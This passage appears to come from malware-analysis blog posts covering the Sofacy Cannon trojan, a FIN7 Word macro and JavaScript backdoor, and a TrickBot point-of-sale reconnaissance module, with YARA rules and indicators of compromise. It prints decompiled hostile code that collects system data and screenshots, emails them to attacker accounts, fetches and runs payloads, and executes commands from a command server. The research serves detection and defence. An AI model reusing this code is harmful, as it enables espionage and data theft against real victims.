/////////////// Cannon Malware "inf_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void inf_Tick(object sender, EventArgs e)
{
try
{
inf.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.Delete(dir + "\\b.bat");
string userName = Environment.UserName;
lenor.inf(dir + "i.ini", userName);
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "i.ini"; //filename attachement
mDat.ID = _id; //subject
mDat.bod = "S_inf"; // body
mDat.mT = "sahro.bella7"; // to
AUTH aUTH = new AUTH();
aUTH.mF1 = a1; // from bishtr.cam47
aUTH.p1 = b1; // REDACTED_PASS2
aUTH.mF2 = a2; // from cervot.woprov
aUTH.p2 = b2; // REDACTED_PASS3
aUTH.mF3 = a3; // from lobrek.chizh
aUTH.p3 = b3; // REDACTED_PASS4
lenor.sent(mDat, aUTH);
screen.Enabled = true;
}
catch (Exception)
{
screen.Enabled = true;
}
}

The “inf_Tick” function checks if the application is launched with the interval of 30000 milliseconds or 30 seconds. The function splits strings via “|” separator such as for example “REDACTED_PASS2|bishtr.cam47”.Split(‘|’) and adds the values as usernames and passwords to the authentication “AUTH” class.
Additionally, it deletes the batch file “b.bat” from the current directory. 
The malware “lenor.inf” function works as follows:

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf" Function Fragment /////////////
////////////////////////////////////////////////////////////////////
public string inf(string fn, string CurU)
{
string text = "";
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("RPlace:\n" + Environment.NewLine);
stringBuilder.AppendFormat("{0} \n", Application.ExecutablePath + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("OS: {0}\n", Environment.OSVersion + Environment.NewLine);
stringBuilder.AppendFormat("SDir: {0}\n", SDir() + Environment.NewLine);
stringBuilder.AppendFormat("Domain: {0}\n", Domain() + Environment.NewLine);
stringBuilder.AppendFormat("Host: {0}\n", HostN() + Environment.NewLine);
stringBuilder.AppendFormat("CurrentUsr: {0}\n", CurU + Environment.NewLine);
stringBuilder.AppendFormat("TimeZ: {0}\n", GetTZ() + Environment.NewLine);
stringBuilder.AppendFormat("Working: {0}\n", TimeWork() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("\n" + DrvDsk() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("Swr:\n" + Environment.NewLine);
text = "C:\\Program";
string[] directories = Directory.GetDirectories(text + " Files\\");
string[] array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
if (Directory.Exists(text + " Files (x86)\\"))
{
directories = Directory.GetDirectories(text + " Files (x86)\\");
array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
}
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("PrL:\n" + Environment.NewLine);

The malware function utilizes “Lenor.inf” function to write the collected victim information to the file in the same directory as “i.ini” in the following structure (example):


The function attempts to authenticate to the three @post.cz email addresses (“bishtr.cam47@post.cz”, “cervot.woprov@post.cz”, “lobrek.chizh@post.cz”) send the information to “sahro.bella7@post.cz” with the body message “S_inf” with the file attachment “i.ini” with the subject as the bot ID.
C. “txt_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "txt_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void txt_Tick(object sender, EventArgs e)
{
try
{
txt.Enabled = false;
string[] array = "REDACTED_PASSWORD|trala.cosh2".Split('|');
ai = array[1];
bi = array[0];
Lenor lenor = new Lenor();
_adr = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz");
if (_adr.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
load.Enabled = true;
}
else
{
txt.Enabled = true;
}
}
catch (Exception)
{
load.Enabled = true;
}
}

The “txt_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds.The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”.
The function “lenor.pi” authenticates to the email account “trala.cosh2@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text) and deleting the message.
The loop code is as follows:

/////////////////////////////////////////////////////////////////////
// Cannon Malware "txt_Tick" Command Email GetMessage Loop for cmd //
////////////////////////////////////////////////////////////////////
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] body = message.MessagePart.Body;
text = BitConverter.ToString(body);
text = FromHex(text);
pop3Client.DeleteMessage(i + 1);
}
}

If the text length is over zero, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok” with the file attachment “s.txt” with the subject as the bot ID.
D. “subject_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "subject_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void subject_Tick(object sender, EventArgs e)
{
try
{
subject.Enabled = false;
Lenor lenor = new Lenor();
lenor.Dir = dir;
rn = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz";);
rn = rn.Trim();
if (rn.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok3";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
run.Enabled = true;
}
else
{
subject.Enabled = true;
}
}
catch (Exception)
{
}
}

The “subject_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”
If the text length is over zero and trimmed of leading and trailing whitespace characters, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok3” with the file attachment “s.txt” with the subject as the bot ID.

E. “run_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "run_Tick" function /////////////////
////////////////////////////////////////////////////////////////////
private void run_Tick(object sender, EventArgs e)
{
try
{
run.Enabled = false;
try
{
Directory.CreateDirectory(rn.Substring(0, rn.LastIndexOf("\\")));
}
catch (Exception)
{
}
File.Move(att, rn);
if (File.Exists(rn))
{
Lenor lenor = new Lenor();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok4";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
Process.Start(rn);
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (process.ProcessName.Contains("auddevc"))
{
Lenor lenor2 = new Lenor();
MDat mDat2 = new MDat();
mDat2.Dom = "@post.cz";
mDat2.Host = "smtp.seznam.cz";
mDat2.fn = dir + "s.txt";
mDat2.ID = _id;
mDat2.bod = "ok5";
mDat2.mT = "sahro.bella7";
AUTH aUTH2 = new AUTH();
aUTH2.mF1 = a1;
aUTH2.p1 = b1;
aUTH2.mF2 = a2;
aUTH2.p2 = b2;
aUTH2.mF3 = a3;
aUTH2.p3 = b3;
lenor2.sent(mDat2, aUTH2);
File.Delete(dir + "sysscr.ops");
File.Delete(dir + "i.ini");
Application.Exit();
}
}
}
else
{
Application.Restart();
}
}
catch (Exception)
{
Application.Exit();
}
}
The “run_Tick” function is launched with the interval of 60000 milliseconds or 60 seconds. The function processes the return text of the “subject_Tick” command and creates a directory with its path.
Then, if successful, it attempts to move the file “auddevc.txt” to the new directory via File.Move(dir + “auddevc.txt”), rn).
If successful, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok4” with the file attachment “l.txt” with the subject as the bot ID.
Additionally, the function checks if the running process contains the name “auddevc,” if yes, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok5” with the file attachment “s.txt” with the subject as the bot ID.
The function is also responsible for deleting the saved screenshot “sysscr.ops” and the collected victim information file “i.ini.” The function also exists the application if successful.
F. “load_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "load_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void load_Tick(object sender, EventArgs e)
{
try
{
load.Enabled = false;
string text = _adr.Replace("B&", "");
text = text.Replace("Db", "");
string[] array = text.Split('%');
string text2 = array[0];
string text3 = array[1];
text2 = text2.Trim();
text3 = text3.Trim();
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.WriteAllText(dir + "l.txt", "090");
rn = lenor.piatt(_id, text3 + "@post.cz", text2, "pop.seznam.cz";);
if (File.Exists(att))
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok2";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
subject.Enabled = true;
}
else
{
load.Enabled = true;
}
}
catch (Exception)
{
}
}
The “load_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function is responsible for processing the retrieved text from “txt_Tick” function. It replaces the  “B&” with “”, “Db” with “”, then splits the text via ‘%’ and removes trailing whitespace.
Then, it writes the new file “l.txt” from this text in the same directory with “090” encoding.
The function “lenor.piatt” authenticates to the email account “trala.cosh@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text). Then, it loops over looking for attachment files containing “auddevc”. If found, it creates a file stream in the same directory and writes it to the directory using BinaryWriter.
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "piatt" function fragment ///////////
////////////////////////////////////////////////////////////////////
if (pop3Client.GetMessageCount() > 0)
{
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] rawMessage = message.RawMessage;
text = BitConverter.ToString(rawMessage);
text = FromHex(text);
list = message.FindAllAttachments();
foreach (MessagePart item in list)
{
if (item.FileName.Contains("auddevc"))
{
FileStream fileStream = new FileStream(Dir + item.FileName, FileMode.Create);
BinaryWriter binaryWriter = new BinaryWriter(fileStream);
binaryWriter.Write(item.Body);
binaryWriter.Close();
fileStream.Close();
}
}
pop3Client.DeleteMessage(i + 1);
}
}
}

G. “screen_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "screen_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void screen_Tick(object sender, EventArgs e)
{
try
{
screen.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
lenor.scr();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "sysscr.ops";
mDat.ID = _id;
mDat.bod = "SCreen";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
txt.Enabled = true;
}
catch (Exception)
{
txt.Enabled = true;
}
}

The “screen_Tick” function is launched with the interval of 10000 milliseconds or 10 seconds. The function sets up variables and splits usernames and passwords leveraging “|” as follows:

REDACTED_PASS2|bishtr.cam47
REDACTED_PASS3|cervot.woprov
REDACTED_PASS4|lobrek.chizh

Then, it leverages the screen function “lenor.scr” taking a desktop screenshot via Bitmap(bounds.Width, bounds.Height), Graphics.FromImage(bitmap), graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size) and saving the screenshot as “.png” image masked as “sysscr.ops” in the main directory.
The function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “SCreen” with the file attachment “sysscr.ops” with the subject as the bot ID.
H. “eTim_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "eTim_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void eTim_Tick(object sender, EventArgs e)
{
Application.Exit();
File.Delete(dir + "\\r.bat");
}

The “eTim_Tick” function is launched with the interval of 13000 milliseconds or 13 seconds.
The function simply exits the application and deletes the batch script “r.bat” in the directory.

IV. Yara Signature

rule apt_win32_cannon_loader_sofacy {
meta:
description = "Detects Sofacy Cannon Loader"
author = "@VK_Intel"
date = "2018-11-24"
hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
strings:

$pdb = "c:\\Users\\Garry\\Desktop\\cannon\\obj\\x86\\Debug\\wsslc.pdb" fullword ascii
$exe = "wsslc.exe" fullword ascii wide

$s0 = "cannon" fullword ascii wide
$s1 = "cannon.Form1.resources" fullword ascii wide
$s2 = "cannon.Properties.Resources.resources" fullword ascii wide

$c0 = "Form1" fullword ascii wide
$c1 = "Lenor" fullword ascii wide
$c2 = "MDat" fullword ascii wide
$c3 = "AUTH" fullword ascii wide
$c4 = "Program" fullword ascii wide

$f0 = "start_Tick" fullword ascii wide
$f1 = "inf_Tick" fullword ascii wide
$f2 = "screen_Tick" fullword ascii wide
$f3 = "txt_Tick" fullword ascii wide
$f4 = "load_Tick" fullword ascii wide
$f5 = "subject_Tick" fullword ascii wide
$f6 = "run_Tick" fullword ascii wide
$f7 = "eTim_Tick" fullword ascii wide

condition:
( uint16(0) == 0x5a4d and
filesize < 1000KB and
( 2 of ($c*) and 4 of ($f*) ) or ( 1 of ($s*) and ( $pdb or $exe ) )
) or ( all of them )
}

Let’s Learn: In-Depth Review of FIN7 VBA Macro & Lightweight JavaScript Backdoor

Goal: Review, analyze, and practice extracting FIN7 JavaScript backdoor from malicious Microsoft Office documents.

https://platform.twitter.com/widgets.js
Source:

Microsoft Office First-Stage VBA Macro Documents:
SHA256: 6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82
SHA256: f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8
SHA256: 63ff5d9c9b33512f0d9f8d153c02065c637b7da48d2c0b6f7114deae6f6d88aa 
Obfuscated Lightweight JavaScript Backdoor
Deobfuscated Lightweight JavaScript Backdoor
Outline:

I. Background & Summary
II. Malicious Microsoft Word Document First-Stage Macro
III. Deobfuscated Lightweight JavaScript Backdoor
A. “main”
B. “crypt_controller”
C. “id”
D. “get_path”
E. “send_data”
IV. Yara Signature: Possible FIN7 First-Stage Microsoft Word Document
I. Background & Summary
FIN7 group remains to be one of the most formidable financially
motivated group, which is not only known for the large point-of-sale
breaches (including the alleged latest one of Burgerville 
restaurant point-of-sale network) but also for its stealthy
persistence and sophisticated and persistent approach. 
I highly recommend reading Morphisec’s blog titled “FIN7 Not Finished – Morphisec Spots New Campaign,” which details one of the latest FIN7 initial Word documents first-stage loaders with the deployed JavaScript backdoor.
It is also notable that they deploy lightweight JavaScript backdoor with communication over HTTPS mimicking Content Delivery Network (CDN) domains with the added search engine strings such as Google and ing creating bing-cdn[.]com, googleapi-cdn[.]com, & cisco-cdn[.]com.
Additionally, they still leverage JavaScript backdoor via renamed “wscript.exe” as “mses.exe” with the file itself called “errors.txt.”
In their backdoor code, they have the following hardcoded groups:

Hardcoded Groups
exchange
work2
ico

The following MITREEnterprise Attack – Attack Patterns are observed with the FIN7 campaign:

+ Spearphishing Attachment - T1193
+ Scripting - T1064
+ Masquerading - T1036
+ Deobfuscate/Decode Files or Information - T1140
+ Data Obfuscation - T1001

I. Malicious Microsoft Word Document First-Stage Macro
Essentially, the Microsoft Word document loaders do not rely on any on exploits but simply require a social-engineering trick to “Enable Macros.” Notably, to avoid process whitelisting of wscript, the macro logic copies the original JavaScript execution engine “wscript.exe” as “mses.exe” in %LOCALAPPDATA% and leverages a possible anti-analysis routine of checking the system drive size via GetDrive.TotalSize of more than 2456 bytes to possibly thwart anti-sandbox check.

The actual obfuscated Javascript backdoor is stored in UserForm object, which is also written to a disc as “errors.txt” in “%TEMP%”. The final execution of the backdoor is performed via this following command:

%LOCALAPPDATA%\mses.exe //b /e:jscript %temp%\errors.txt

Once it is done, the document macro runs a message box displaying “Decryption error” via MsgBox(“Decryption error”).

It is notable that the decryption message is also part of the document social engineering ruse “to decrypt document” as well as the subsequent “Decryption Error” coupled with the execution of “errors.txt” creates a plausible yet well-thought scenario of allowing possible “error” paths due to document errors.

The full cleaned macro code is as follows:

//////////////////////////////////////////////
/////// FIN7 Deobfuscated Word Macro //////////
//////////////////////////////////////////////
Set CreateObjectScripting = CreateObject("Scripting.FileSystemObject")
Set CreateObjectWScriptShell = CreateObject("WScript.Shell")
SystemDrivePath = CreateObjectWScriptShell.ExpandEnvironmentStrings("%SystemDrive%")
Set GetDrivePath = CreateObjectScripting.GetDrive(SystemDrivePath)
DriveSize = GetDrivePath.TotalSize
If DriveSize > 2456 Then
TEMPPathErrorsTxt = CreateObjectWScriptShell.ExpandEnvironmentStrings("%temp%") \
& "\errors.txt"
FormCaptionHolder = UserForm1.NameForm.Caption
Set CreateFileHolder = CreateObjectScripting.CreateTextFile(TEMPPathErrorsTxt)
CreateFileHolder.WriteLine FormCaptionHolder
CreateFileHolder.Close
GetPathtoMsesExe = CreateObjectWScriptShell.ExpandEnvironmentStrings("%LOCALAPPDATA%") & \
"\mses.exe"
FileCopy "C:\\Windows\\System32\\wscript.exe", GetPathtoMsesExe
Shell "%LOCALAPPDATA%\mses.exe" & " //b /e:jscript " & "%temp%\errors.txt", False

Additionally, the second document contains the same exact reference to mysterious “cesar.exe” as detailed by Nick Carr.

III. Deobfuscated Lightweight JavaScript Backdoor
The JavaScript contains five functions as follows:

Function Name Description
“main” main function
“id” generate unique machine ID based on MAC address and DNS domain
“crypt_controller” control decryptor and encryptor function
“get_path” build path URL based on pre-configured paths
“send_data” send data request to the server
A. “main”
The “main” function initiates a variable “ncommand”, which holds the “send_data” function with the arguments
“request” and “action=get_command”, true).
//////////////////////////////////////////////
/////// JS Backdroor "main" Function /////////
//////////////////////////////////////////////
function main() {
var ncommand = "";
ncommand = send_data("request", "action=get_command", true);
if (ncommand !== "no") {
try {
eval(crypt_controller("decrypt", ncommand));
} catch (e) {}
}
var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
WScript.Sleep(random_knock);
main();
}

If the ncommand does not equal “no,” it runs an eval command via “crypt_controller” functions with the arguments “decrypt” and ncommand.
The backdoor leverages the variables “random_knock,” which equals 120000 leveraging random * 16001 – 5000, which is used with the WScript.Sleep command then it runs the main command again.
The unique machine is generated via the command running Date with the getUTCMilliseconds() parameters. It also deletes itself via GetFile.Type == “Application and length == 10 and deleteFile via ActiveOXbject.
B. “crypt_controller”

The crypt_controller function accepts two parameters of type and request.
//////////////////////////////////////////////
// JS Backdroor "crypt_controller" Function //
//////////////////////////////////////////////
function crypt_controller(type, request) {
var encryption_key = "";
if (type === "decrypt") {
request = decodeURIComponent(request);
var request_split = request.split(")*(");
request = request_split[0];
encryption_key = request_split[1].split("");
} else {
encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
}
var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}
var result_string = output.join("");
if (type === "encrypt") {
result_string = result_string + ")*(" + encryption_key.join("");
result_string = encodeURIComponent(result_string);
}
return result_string;
}
a. If type parameter equals “decrypt”, the request is processed via decodeURIComponent splitting the request with separator “)*(” and then retrieving encryption_key (second element[1]) from split request, if no encryption_key split it pulls it as a random value via (Math.floor(Math.random() * 9000) + 1000).toString().split(“”);.
The decoding routine is a simple XOR loop decoding the content as follows joining the result_string via .join command.

var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ \
encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}

b. If type parameter equals “encrypt”,  the result_string is joined with “)*(” and passed encodeURIComponent.
C. “id”

The ID function executes a simple WMI query as follows retrieving and parsing for MAC address and DNS domain:

"select * from Win32_NetworkAdapterConfiguration where ipenabled = true"
///////////////////////////////
// JS Backdroor "id" Function //
///////////////////////////////
function id() {
var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration \
where ipenabled = true");
var lItems = new Enumerator(lrequest);
for (; !lItems.atEnd(); lItems.moveNext()) {
var mac = lItems.item().macaddress;
var dns_hostname = lItems.item().DNSHostName;
if (typeof mac === "string" && mac.length > 1) {
if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
dns_hostname = "Unknown";
} else {
for (var i = 0; i < dns_hostname.length; i++) {
if (dns_hostname.charAt(i) > "z") {
dns_hostname = dns_hostname.substr(0, i) + "_" + \
dns_hostname.substr(i + 1);
}
}
}
return mac + "_" + dns_hostname;
}
}
}
Finally, the value is concatenated in the format of mac + “_” + dns_hostname.
D. “get_path”
The function takes no parameters and generates a request to the server with the path that consists with the random path from “pathes” array and the random file from files as follows:
//////////////////////////////////////
// JS Backdroor "get_path" Function //
//////////////////////////////////////
function get_path() {
var pathes = ["images", "image", "content", "fetch", "cdn"];
var files = ["create_logo", "get_image", "create_image", \
"show_ico", "show_png", "show_jpg"];
var path = pathes[Math.floor(Math.random() * pathes.length)] + "/" \
+ files[Math.floor(Math.random() * files.length)];
return "hxxps://bing-cdn[.]com/" + path;
}
For example,
hxxps://bing-cdn[.]com/fetch/show_jpg?request=page
hxxps://bing-cdn[.]com/images/get_image?request=page
hxxps://bing-cdn[.]com/image/show_ico?request=page
E. “send_data”

The function accepts 3 parameters such as type, data, and boolean parameter crypt.
//////////////////////////////////////
// JS Backdroor "send_data" Function //
//////////////////////////////////////
function send_data(type, data, crypt) {
try {
var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
if (type === "request") {
http_object.open("POST", get_path() + "?request=page", false);
data = "ytqikulpemsi=" + \
crypt_controller("encrypt", "group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=" \
+ uniq_id + "&id=" + id() + "&" + data);
} else {
http_object.open("POST", get_path() + "?request=content&id=" + uniq_id, false);
if (crypt) {
data = crypt_controller("encrypt", data);
}
}
http_object.setRequestHeader("User-Agent", \
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
http_object.setOption(2, 13056);
http_object.send(data);
return http_object.responseText;
} catch (e) {
return "no";
}
a. if type === “request”, the backdoor forms the POST request as  with get_path ending with “?request=page.” The data consists of the hardcoded value “ytqikulpemsi=” with crypt_controller function with parameters “encrypt” and the following URI “group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=” with the “uniq_id” + “&id=” + the ID return function + “&” + data);
http_object.open(“POST”, get_path() + “?request=content&id=” + uniq_id, false);
This function is used with the main with the parameter “action=get_command”
ytqikulpemsi=group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=….&id=…

An example of the decoded full path is as follows:

group=work2&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=208\
&id=00:0C:29:B4:CE:DC_WIN_NAME&action=get_command
An example of the encoded data (four-digit XOR encryption key):

ytqikulpemsi=TB_BC%0DUOPXQYTU%16EG%0D%11%40USEVD%0DQTXUSU%04%03S%40cvA%5E%03%11GY%5DR%0E\
%01%05%07%03%11FYT%0A%07%07%08%11ZT%0D%07%03%0At%09%02%09%0Dq%04%0Atv%0Attlgyy%1Eqr%07%\
05%03%09xe%04%09e%15QSCZ_%5E%0ATUDhP_%5DZR%5ET)*(3007
IV. Yara Signature:
rule apt_win32_possible_fin7_doc {
meta:
description = "Detects possible FIN7 first-stage initial doc"
author = "@VK_Intel"
date = "2018-11-23"
hash1 = "f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8"
hash2 = "6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82"
strings:
$font = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil MS Sans S" fullword wide
$userform = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1 " fullword ascii
$uniq_string = "C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" fullword ascii


$x0 = "C:\\Users\\Administrator\\Downloads\\InkEd.dll" fullword ascii
$x1 = "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2\\Word8.0\\INKEDLib.exd" fullword ascii
$x2 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" fullword ascii
condition:
uint16(0) == 0xcfd0 and
filesize < 2000KB and ( 1 of ($x*) and $font and ( $uniq_string or $userform ) )
or ( all of them )
}

IV. Indicators of Compromise: Domains

hxxps://googleapi-cdn[.]com
hxxps://bing-cdn[.]com
hxxps://cisco-cdn[.]com/

Let’s Learn: Introducing Latest TrickBot Point-of-Sale Finder Module

Goal: Analyze the latest TrickBot point-of-sale finder“psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP)
Source:
Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5: 4fce2da754c9a1ac06ad11a46d215d23)
Outline

I. Background
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
V. TrickBot Point-of-Sale Finder Module POST Command
IV. Yara Signature

I. Background
This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier. The group behind the TrickBot malware development remains to be one of the most resourceful in the e-crime ecosystem continuously releasing various modules (for example. password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but rather used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season highlighting the group interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86) 

This tiny “psfin32” module DLL with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 24 functions.
The decoded Trickbot “pfin32Dll” module contains the usual Trickbot export functions:

Control
FreeBuffer
Release
Start

III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis

The latest module consists visually a lot of similarity to their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).
IV.  TrickBot Point-of-Sale Finder Module LDAP Analysis
This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. To learn more about specific access ADsOpenObject and IADsContainer  interface, please refer to the DomainGrabber post.
LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of “GC://” binding to the root of the namespace. “GC:” uses the LDAP provider to bind to the Global Catalog service to execute queries.
The module queries for DOMAIN Global Catalog the following accesses:

COMPUTERS
USERS
GROUPS
SITES
OUs

The point-of-sale key terms of interest are as follows:

*POS*
*REG*
*CASH*
*LANE*
*STORE*
*RETAIL*
*BOH*
*ALOHA*
*MICROS*
*TERM*

V.  TrickBot Point-of-Sale Finder Module POST Command
Once the information is harvested, the “Log” file with the information would be posted to the TrickBot to “Dpost” servers via “/%s/%s/90” command.

